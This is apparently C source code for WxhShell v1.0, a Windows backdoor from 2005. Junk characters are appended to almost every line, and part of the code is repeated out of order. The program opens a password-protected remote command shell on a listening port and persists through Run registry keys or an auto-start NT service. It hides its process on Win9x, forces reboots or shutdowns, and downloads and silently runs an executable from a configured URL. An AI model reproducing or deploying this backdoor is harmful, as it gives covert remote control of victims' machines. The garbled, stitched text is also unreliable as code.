    else { =o:1Rc7J  
    closesocket(wsh); 9~J#> C0}  
    ExitThread(0); N9#5 P!  
    } J9/EJ'My  
    break; Urz9S3#\  
    } < V*/1{  
  // 获取shell Y?6}r;<  
  case 's': { ^;sE)L6  
    CmdShell(wsh); ,<BV5~T.|  
    closesocket(wsh); -W{ !`<8D  
    ExitThread(0); 6j Rewj  
    break; q2P_37  
  } PJO.^OsM  
  // 退出 tlM >=s'T  
  case 'x': { TkR#Kzv380  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zZW5M^z8  
    CloseIt(wsh); 0g2rajS  
    break; \UP=pT@  
    } 2fgYcQ8`  
  // 离开 Zb7%$1)L~  
  case 'q': { p}Um+I=1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H;seT XL  
    closesocket(wsh); Qv<p$Up6  
    WSACleanup(); `MHixQ;j  
    exit(1); Q@uWh:  
    break; )3WUyD*UZN  
        } }9 ]7V<  
  } :PK2! 0nK  
  } "A*;V  
{"2Hv;x  
  // 提示信息 n?>|2>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {oS/Xa  
} r~G  amjS  
  } 82 dmlPwJC  
rd;E /:`5  
  return; ;9Qxq]  
} |~@yXc5a  
P!SsMo6n  
// shell模块句柄 $:yIe.F  
int CmdShell(SOCKET sock) vJ{F)0 K  
{ F1S0C>N?5  
STARTUPINFO si; 1(pv 3  
ZeroMemory(&si,sizeof(si)); Nt;1&dwUb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (f2r4Io|}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _F(Np\%_  
PROCESS_INFORMATION ProcessInfo; ^ E_chx-e}  
char cmdline[]="cmd"; gC F9XKW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T[I7.8g  
  return 0; bXeJk]#y  
} 86eaX+F  
5|7<ZL 3  
// 自身启动模式 k(M"k!M  
int StartFromService(void) E5 #ff5  
{ \<hHZS  
typedef struct +4p=a [  
{ ,|Gjr T{vf  
  DWORD ExitStatus; [%P[ x]-  
  DWORD PebBaseAddress; f1S% p  
  DWORD AffinityMask; HRyhq ;C  
  DWORD BasePriority; p({Lp}'  
  ULONG UniqueProcessId; c_>AbF{  
  ULONG InheritedFromUniqueProcessId; ]a`"O  
}   PROCESS_BASIC_INFORMATION; |S~$IFN4  
gb4$W@N7V  
PROCNTQSIP NtQueryInformationProcess; +tlBOl $  
Ljiw9*ZI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >xA( *7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ArjRoXDE  
(w#)|9Cxm  
  HANDLE             hProcess; 'BUfdb8d  
  PROCESS_BASIC_INFORMATION pbi; &'`ki0Xh;  
NHQoP&OG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WFzM s  
  if(NULL == hInst ) return 0; q{%~(A5*H  
5i}g$yjZ<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); upaQoX/C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E#3tkFF0Z[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3}8L!2_p  
*7=`]w5k1  
  if (!NtQueryInformationProcess) return 0; PJ=|g7I  
r,3\32[?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `Z#':0Z  
  if(!hProcess) return 0; /MMnW$)  
#C'E'g0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I5Ty@J#  
pN_%>v"o  
  CloseHandle(hProcess); Pe-rwM  
8_ascvs5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O)DAYBv^  
if(hProcess==NULL) return 0; _;%l~q/  
x}O,xquY  
HMODULE hMod; R+t]]n6#  
char procName[255]; >|`1aCg,  
unsigned long cbNeeded; :P ]D`b6p  
H}lz_#Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Tm9sQ7Oj(  
1M 6^Brx  
  CloseHandle(hProcess); =HB(N|9_d  
EiaP1o  
if(strstr(procName,"services")) return 1; // 以服务启动 i`Qa7  
IlwHHt;njp  
  return 0; // 注册表启动 <o[3*59  
} W'=}2Y$]u  
f`*VNB`  
// 主模块 WgG$ r  
int StartWxhshell(LPSTR lpCmdLine) )#1!%aQ  
{ 2#00<t\  
  SOCKET wsl; $RB p!7  
BOOL val=TRUE; @nMVs6  
  int port=0; 2s> BNWTU  
  struct sockaddr_in door; #qUGc`  
uix/O*^  
  if(wscfg.ws_autoins) Install(); kma>'P`G  
,L.V>Ae  
port=atoi(lpCmdLine); _"OE}$C  
'/OQ[f=K  
if(port<=0) port=wscfg.ws_port; -/0aGqY  
n(|n=P:o  
  WSADATA data; ZR-64G=L,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UCkV ;//.  
\{!,a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KK5_;<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -"{g kjuv  
  door.sin_family = AF_INET; )FmIL(vu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +V9xKhR;x  
  door.sin_port = htons(port); )y Zr]  
6|{&7=1t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yGSZ;BDW:K  
closesocket(wsl); VXlAK(   
return 1; %rgW}Z5  
} =F Y2O`%a  
pq\N 2d  
  if(listen(wsl,2) == INVALID_SOCKET) { Hq,@j{($  
closesocket(wsl); tl*h"du^  
return 1; 8h4]<T  
} wf1p/bpf  
  Wxhshell(wsl); >@ xe-0z  
  WSACleanup(); .p*?g;  
<3/_'/C  
return 0; {IvA 5^  
|Ldvfd  
} qX; F+~  
l(-"rE  
// 以NT服务方式启动 uFb 9Ic]`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g]c6_DMfb1  
{ $o;c:Kh$$  
DWORD   status = 0; D^V)$ME  
  DWORD   specificError = 0xfffffff; '-J<ib t  
i7v =o#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '?Q"[e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &['x+vL9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~ iQBgd@D^  
  serviceStatus.dwWin32ExitCode     = 0; }@ktAt  
  serviceStatus.dwServiceSpecificExitCode = 0; 1|!)*!hu  
  serviceStatus.dwCheckPoint       = 0; %l#X6jkt  
  serviceStatus.dwWaitHint       = 0; P,a9B2  
Q4/BpKL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e=s85!  
  if (hServiceStatusHandle==0) return; &zJ\D`\,O  
vF pKkS343  
status = GetLastError(); md? cvGDE  
  if (status!=NO_ERROR) =au!rda  
{ 6Z' K1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I{WP:]"Yf  
    serviceStatus.dwCheckPoint       = 0; bd-iog(  
    serviceStatus.dwWaitHint       = 0; O"df5x9@  
    serviceStatus.dwWin32ExitCode     = status; rnQ_0d  
    serviceStatus.dwServiceSpecificExitCode = specificError; o1?-+P/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;ND[+i2MN  
    return; ^OX}y~'  
  } .T ,HtHe  
-*~ @?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vfvp#  
  serviceStatus.dwCheckPoint       = 0; J7- vB",U  
  serviceStatus.dwWaitHint       = 0; Lccy~2v>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *RVCz|0%w  
} MP<]-M'|<  
W[qy4\.B  
// 处理NT服务事件,比如:启动、停止 rFkZ'rp74b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $pAVTz  
{ `?WN*__["  
switch(fdwControl) aaw[ia_EL  
{ 6&0G'PMf  
case SERVICE_CONTROL_STOP: 0s H~yvM5  
  serviceStatus.dwWin32ExitCode = 0; |HYST`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %6rSLBw3  
  serviceStatus.dwCheckPoint   = 0; V9qA'k  
  serviceStatus.dwWaitHint     = 0; :) -`  
  { QG~6mvD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j}s/)}n|  
  } JC-> eY"O2  
  return; d=8.cQL:E  
case SERVICE_CONTROL_PAUSE:  :TR:tf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ceD6q~)  
  break; 'W4v>0   
case SERVICE_CONTROL_CONTINUE: }YBuS3{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -sZ'<(3  
  break; Fw{#4  
case SERVICE_CONTROL_INTERROGATE: p~=z)7% e'  
  break; ov H'_'  
}; s]0 J'UN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mCk_c  
} Hm!"%  
;~djbo0,X  
// 标准应用程序主函数 Uf ]$I`T#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <H-kR\HF  
{ MMC$c=4"  
QA;,/iw`  
// 获取操作系统版本 S5, u| H  
OsIsNt=GetOsVer(); F E{c{G<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `w`N5 !  
<nG}]Smd7  
  // 从命令行安装 Jr;w>8B),  
  if(strpbrk(lpCmdLine,"iI")) Install(); n'{jc 6&|  
x=L"qC9f/  
  // 下载执行文件 /wJ4hHY  
if(wscfg.ws_downexe) { $ BgaLJs/O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j6~`C ?(  
  WinExec(wscfg.ws_filenam,SW_HIDE); a9.255  
} XOQ0(e6  
f(eXny@Y  
if(!OsIsNt) { ';8 ,RTe  
// 如果时win9x,隐藏进程并且设置为注册表启动 X[H.t$w5A  
HideProc(); 7-n HPDp'  
StartWxhshell(lpCmdLine); V9}\0joM  
} eq8faC5  
else km5gO|V>m  
  if(StartFromService()) SqRM*Cf=  
  // 以服务方式启动 8v8-5N  
  StartServiceCtrlDispatcher(DispatchTable); mwsBj)  
else "=C~I W  
  // 普通方式启动 :AFU5mR4&  
  StartWxhshell(lpCmdLine); T ,!CDm$=  
@NL<v-t  
return 0; 2)\MxvfOh  
} { pQJ.QI  
.|g@#XIwe#  
Mt`LOdiC_  
eN </H.bm]  
=========================================== "eOl(TSu/  
Bw!J!cCj  
z;e@m2.IM  
:@P6ibcX  
xoj,>[7 D  
@4Bl&(3S  
" Xf#;`*5  
:E|Jqi\  
#include <stdio.h> yHC[8l8%  
#include <string.h> WbhYGcRy  
#include <windows.h> xg^%8Ls^  
#include <winsock2.h> SSla^,MHef  
#include <winsvc.h> 2dKt}o>   
#include <urlmon.h> O43"-  
R[m{"2|,Lc  
#pragma comment (lib, "Ws2_32.lib") w6h83m 3  
#pragma comment (lib, "urlmon.lib") {dxl8~/I  
H Q[  
#define MAX_USER   100 // 最大客户端连接数 <oT1&C{  
#define BUF_SOCK   200 // sock buffer B6TE9IoSb8  
#define KEY_BUFF   255 // 输入 buffer .bP8Z =  
bx{njo1Mr  
#define REBOOT     0   // 重启 _K{- 1ZYsi  
#define SHUTDOWN   1   // 关机 LJb=9tp~  
d*04[5`  
#define DEF_PORT   5000 // 监听端口 $|&<cenMT  
O/ItN5B ;  
#define REG_LEN     16   // 注册表键长度 "s]  
#define SVC_LEN     80   // NT服务名长度 7BwR ].  
O gQ8yKfDB  
// 从dll定义API i%<NKE;v7m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0QPY+6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A Y<L8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *,:2O&P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RFFbS{U*  
5[B)U">]  
// wxhshell配置信息 b&4JHyleF  
struct WSCFG { ,ZrR*W?iF  
  int ws_port;         // 监听端口 "K9[P :nw  
  char ws_passstr[REG_LEN]; // 口令 [bX ^_ Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no dyf>T}Iy  
  char ws_regname[REG_LEN]; // 注册表键名 V6_":L"!  
  char ws_svcname[REG_LEN]; // 服务名 >?ar  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  q"T?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )F&.0 '  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  >Z3>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -Q5UT=^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2_3os P\Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v5pkP  
&J|I&p   
}; 2-ksr}:  
|Rx+2`6Dp  
// default Wxhshell configuration )!E:  
struct WSCFG wscfg={DEF_PORT, L;vglS=l;  
    "xuhuanlingzhe", cmU0=js.  
    1, BQ[R)o  
    "Wxhshell", `W_&^>yl  
    "Wxhshell", _7';1 D  
            "WxhShell Service", !ii( 2U  
    "Wrsky Windows CmdShell Service", \}kR'l  
    "Please Input Your Password: ", gpzFY"MS=  
  1, {jR3D!hK  
  "http://www.wrsky.com/wxhshell.exe", j r .{M  
  "Wxhshell.exe" d_&pxy? >  
    }; )G, S7A  
/y4A?*w6  
// 消息定义模块 "SQyy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NJd4( P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VyYrL]OrA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $6 Hf[(/e  
char *msg_ws_ext="\n\rExit."; t.RDS2N|  
char *msg_ws_end="\n\rQuit."; c2 :,  
char *msg_ws_boot="\n\rReboot..."; Q"eqql<h#  
char *msg_ws_poff="\n\rShutdown..."; >c Tt2v  
char *msg_ws_down="\n\rSave to "; 3$K[(>s  
[okV[7  
char *msg_ws_err="\n\rErr!"; A/}[Z\C  
char *msg_ws_ok="\n\rOK!"; }2*qv4},!  
!blGc$kC  
char ExeFile[MAX_PATH]; W=+AU!%  
int nUser = 0; XUR#|  
HANDLE handles[MAX_USER]; &YD+ s%OL  
int OsIsNt; *KiY+_8>  
>j ].`T  
SERVICE_STATUS       serviceStatus; s?1Aj<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hv>Xr=RE  
^{0*?,-x  
// 函数声明 lWJYT <kt  
int Install(void); x30|0EHYl[  
int Uninstall(void); A0;{$/  
int DownloadFile(char *sURL, SOCKET wsh); fU%Ys9:wU  
int Boot(int flag); yV L >Ie/  
void HideProc(void); . 8ikcs  
int GetOsVer(void); ^!k_"C)B  
int Wxhshell(SOCKET wsl); %RF$Y=c'C  
void TalkWithClient(void *cs); wouk~>Jft  
int CmdShell(SOCKET sock); n!X%i+|4x  
int StartFromService(void); HpUJ_pZ  
int StartWxhshell(LPSTR lpCmdLine); B>d49(jy  
yHs9J1S f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b%@9j;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N.E{6_{S  
n[y^S3}%;  
// 数据结构和表定义 Y:Lkh>S1Q  
SERVICE_TABLE_ENTRY DispatchTable[] = *>W6,F7  
{ \}=W*xxB  
{wscfg.ws_svcname, NTServiceMain}, x N>\t& c  
{NULL, NULL} n4XkhY|  
}; s-x1<+E(  
-H[@]Q4w  
// 自我安装 fo/sA9  
int Install(void) 67}8EV!/k  
{ + >:}   
  char svExeFile[MAX_PATH]; a5pM~.]  
  HKEY key; Pjvb}q=  
  strcpy(svExeFile,ExeFile); eL)m(  
iny/K/5bf  
// 如果是win9x系统,修改注册表设为自启动 %zEy.7Ux  
if(!OsIsNt) { <j#IR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CV{ZoY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :U'n0\  
  RegCloseKey(key); VB8eGMo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &\6(iL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GuL0:,  
  RegCloseKey(key); QL2 LIs  
  return 0; F`,bFQ  
    }  myOW^  
  } H D$`ZV  
} A93(} V7I  
else { 6wq%4RI0  
p`U#  
// 如果是NT以上系统,安装为系统服务 lq`7$7-4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @V Tw>=94  
if (schSCManager!=0) Vz!{nL0Q(  
{ MDd 2B9cy[  
  SC_HANDLE schService = CreateService I7|a,Q^f  
  ( ev/)#i#s{  
  schSCManager, R&P^rrC@B5  
  wscfg.ws_svcname, ?aTC+\=  
  wscfg.ws_svcdisp, CJ)u#PmkJ  
  SERVICE_ALL_ACCESS, [6.<#_~{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , km lb,P  
  SERVICE_AUTO_START, a #p`l>rx  
  SERVICE_ERROR_NORMAL, X ) =-a  
  svExeFile, aGE} EK}  
  NULL, KiC,O7&<  
  NULL, c1*^ \   
  NULL, "8(8]GgYx  
  NULL, XIM?$p^  
  NULL YxU->Wi]G  
  ); \sW>Y#9]  
  if (schService!=0) !@ AnwV]  
  { F<2gM#jLB  
  CloseServiceHandle(schService); O0pXHXSAL  
  CloseServiceHandle(schSCManager); *8%uXkMm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <FZ*'F*M  
  strcat(svExeFile,wscfg.ws_svcname); 0BjP|API  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8zJye6f;l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MfFmJ7>Bg  
  RegCloseKey(key); 1O)m(0tb[  
  return 0; 7(LB}  
    } OH 88d:  
  } W7~OU(}[`  
  CloseServiceHandle(schSCManager); B&*`A&^y  
} pg<c vok  
} P{2ED1T\  
$3970ni,?O  
return 1; !@+4&B=  
} ~_-+Q=3  
{K/xI  
// 自我卸载 =1O;,8`  
int Uninstall(void) ;1TQr3w  
{ O4a~(*f  
  HKEY key; a][Tb0Ox  
('=Q[ua7-(  
if(!OsIsNt) { poqNiOm4%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { brF) %x`  
  RegDeleteValue(key,wscfg.ws_regname); nnd-d+$  
  RegCloseKey(key); y,<\d/YY@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "*d%el\63  
  RegDeleteValue(key,wscfg.ws_regname); -b  )~  
  RegCloseKey(key); }Q,BI*}*  
  return 0; s cd}{Y  
  } 3%N!omAe  
} N{!@M_C^%R  
}  10_@'N  
else { L9z5o(Aa  
JVPLE*T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OF! n}.O(  
if (schSCManager!=0) :%zAX  
{ kH62#[J)yM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2>Kn'p  
  if (schService!=0) q\fai^_  
  { #CB`7 }jq  
  if(DeleteService(schService)!=0) { ;,B $lgF  
  CloseServiceHandle(schService); 0qN?4h)7  
  CloseServiceHandle(schSCManager); a)/ }T  
  return 0; >- CNHb  
  } +/#Lm#*nu%  
  CloseServiceHandle(schService); $1D>}5Ex  
  } FJsg3D*@J  
  CloseServiceHandle(schSCManager); %w/:mH3FA  
} K!!#";Eo  
} ;@[ax{ J  
If@%^'^ON=  
return 1; r$!  
} re@OPiXa v  
"/\- ?YJjw  
// 从指定url下载文件 Novn#0a  
int DownloadFile(char *sURL, SOCKET wsh) QWwEfL  
{ m&6)Vt  
  HRESULT hr; P;p20+  
char seps[]= "/"; TaTw,K|/  
char *token; uup>WW  
char *file; (n@&M!a  
char myURL[MAX_PATH]; FWpb5jc)3  
char myFILE[MAX_PATH]; 0"c(n0L  
;5aAnvgW  
strcpy(myURL,sURL); X]Ma:1+  
  token=strtok(myURL,seps); ItQ3|-^  
  while(token!=NULL) ? y^t  
  { G5zsId dS  
    file=token; FS6ZPjG)  
  token=strtok(NULL,seps); m'L8z fX  
  } *Cx3bg*Gan  
tWI4x3 &2  
GetCurrentDirectory(MAX_PATH,myFILE); 9,A HC2kn%  
strcat(myFILE, "\\"); |-vn,zpe  
strcat(myFILE, file); 1Qo2Z;h@  
  send(wsh,myFILE,strlen(myFILE),0); R94 ID@LF  
send(wsh,"...",3,0); C;eM:v0A[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); roWg~U(S  
  if(hr==S_OK) o~p%ODH  
return 0; 6^Ax3# q  
else IdL~0;W7  
return 1;  ZG-[Gz  
ZfWF2%]<  
} X}j_k=,C  
0tah$;c e  
// 系统电源模块  DE14dU  
int Boot(int flag) +"SYG  
{ rY(h }z  
  HANDLE hToken; L t.Vo  
  TOKEN_PRIVILEGES tkp; H=>;M j  
+Zi@+|"BCN  
  if(OsIsNt) { |),3`*N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pU5t,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /m+\oZ ]d  
    tkp.PrivilegeCount = 1; PQ`~qM:3st  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N:7;c}~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mM;p 7 sJ  
if(flag==REBOOT) { B)(ZRH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m<e-XT  
  return 0; ^-pHhh|g  
} ){,v&[  
else { =jW= Z$3q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Bis'59?U_  
  return 0; $+Vp>  
} pe7R1{2Q_s  
  } DM)%=C6<  
  else { 6 2#dSd}HG  
if(flag==REBOOT) { s*.&DN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $tFmp)  
  return 0; I?IAZa)  
} !$^LTBOH3  
else { :=^_N}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VT`C<'   
  return 0; 9~C$C  
} :7Smsc"B!  
} 94xRKQ}  
b'5L|1d  
return 1; q8e34Ly7  
} CLX!qw]@ +  
T@,tlIM  
// win9x进程隐藏模块 IA?v[xu  
void HideProc(void) p:8&&v~I  
{ p$OkWSi~  
f<aJiVP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^SH8*7l7  
  if ( hKernel != NULL ) Dwp-*QK^G  
  { O!#bM< *  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *wVWyC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f6-OR]R5  
    FreeLibrary(hKernel); ,Z6\%:/  
  } @{y[2M} %]  
ley: =(  
return; is [p7-  
} A5LTgGzaW  
g4 G?hv`R  
// 获取操作系统版本 jV!9IK;HA.  
int GetOsVer(void) %nkP?gn"a  
{ h TY7`m">  
  OSVERSIONINFO winfo; i*g>j <`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1'>wrGr  
  GetVersionEx(&winfo);  b"C1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?#rejA:  
  return 1; mU3 @|a/@0  
  else ct#3*]  
  return 0; LU7d\Ch  
} ekx~svcC&A  
}Kc03Ue`%e  
// 客户端句柄模块 8LM 91  
int Wxhshell(SOCKET wsl) /MUa b*h  
{ @z!|HLD+  
  SOCKET wsh; :CJ]^v   
  struct sockaddr_in client; [ym ynr3M  
  DWORD myID; b _#r_`  
 !xz0zT.  
  while(nUser<MAX_USER) ]NrA2i?  
{ .Q^8 _'ZG  
  int nSize=sizeof(client); 0pu=,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cK(S{|F  
  if(wsh==INVALID_SOCKET) return 1; CHPu$eu  
}b5If7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OLS.0UEc  
if(handles[nUser]==0) [Q5>4WY  
  closesocket(wsh); tEXY>=  
else 3Bk_4n  
  nUser++; FV->226o%  
  } #nOS7Q#uW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }pzUHl>  
Fs,#d%4@%  
  return 0; ?UGA-^E1  
} bdUe,2Yin  
VS{po:]A  
// 关闭 socket .+ w#n<  
void CloseIt(SOCKET wsh) |6d0,muN  
{ CtO`t5  
closesocket(wsh); U94Tp A6  
nUser--; ~Kr_[X:d5  
ExitThread(0); ;$Q&2}L[  
} hkhk,bhI  
wNX2*   
// 客户端请求句柄 }c$@0x;YQ  
void TalkWithClient(void *cs) YA vOV-L  
{ gLyE,1Z}u  
18xT2f  
  SOCKET wsh=(SOCKET)cs; lS.&>{  
  char pwd[SVC_LEN]; quPNwNy  
  char cmd[KEY_BUFF]; GYq.!d@O  
char chr[1]; +hJ@w-u,G  
int i,j; MvLmEmKb}\  
6pHn%yE*  
  while (nUser < MAX_USER) { nYc8+5CcK'  
g]hTz)8fF  
if(wscfg.ws_passstr) { Xj^Hy"HC^~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '8$*gIQ8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E~y@ue:  
  //ZeroMemory(pwd,KEY_BUFF); 1D6F WYV8  
      i=0; [Pnk@jIk4  
  while(i<SVC_LEN) { _4]GP3`  
l,pI~A`w_  
  // 设置超时 LR5X=&k  
  fd_set FdRead; B?c n5  
  struct timeval TimeOut; $ MN1:ih  
  FD_ZERO(&FdRead); &r)i6{w81  
  FD_SET(wsh,&FdRead); N^{"k,vB-  
  TimeOut.tv_sec=8; <oc"!c;T  
  TimeOut.tv_usec=0; xElHYh(\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :Rq>a@Rp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]26 Q*.1~  
(")IU{>c6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kn !n}GtR  
  pwd=chr[0]; 8 )W{&#C>  
  if(chr[0]==0xd || chr[0]==0xa) { ?%RN? O(  
  pwd=0; Y30e7d* qr  
  break; E9]/sFA-]  
  } ZT \=:X*e  
  i++; "5+x6/9b  
    } Z?7XuELKV  
yJj$iri  
  // 如果是非法用户,关闭 socket 8hK\Ya:mP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e95x,|.-_  
} ># {,(8\  
1m52vQSo3l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2,nVo^13}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;U02VguC  
1${lHVx]  
while(1) { L1'#wH  
^+hqGu]M  
  ZeroMemory(cmd,KEY_BUFF); U=<d;2N#  
]CFh0N|(L  
      // 自动支持客户端 telnet标准   nbVlP  
  j=0; b xU13ESv  
  while(j<KEY_BUFF) { PW[NW-S`c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y 0f"}A1  
  cmd[j]=chr[0]; vU X(h.}8  
  if(chr[0]==0xa || chr[0]==0xd) { \ nIz5J}3  
  cmd[j]=0; LZ97nvK  
  break; km)5?  
  } .fQ/a`AsU  
  j++; 4!%TY4 bJ  
    } HR/"Nwr  
XpFo SW#K  
  // 下载文件 E7_)P>aS5  
  if(strstr(cmd,"http://")) { : " ([i"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Vz"Ja  
  if(DownloadFile(cmd,wsh)) K,VN?t <h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ww_gG5Fc$  
  else w4S0aR:yL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AS} FRNIVx  
  } 1qR[& =/  
  else { _x.<Zc\x  
:|GC~JElo5  
    switch(cmd[0]) { W' DpI7  
  C Rd1zDB  
  // 帮助 J^Dkx"1GD  
  case '?': { y?t2@f]!XK  
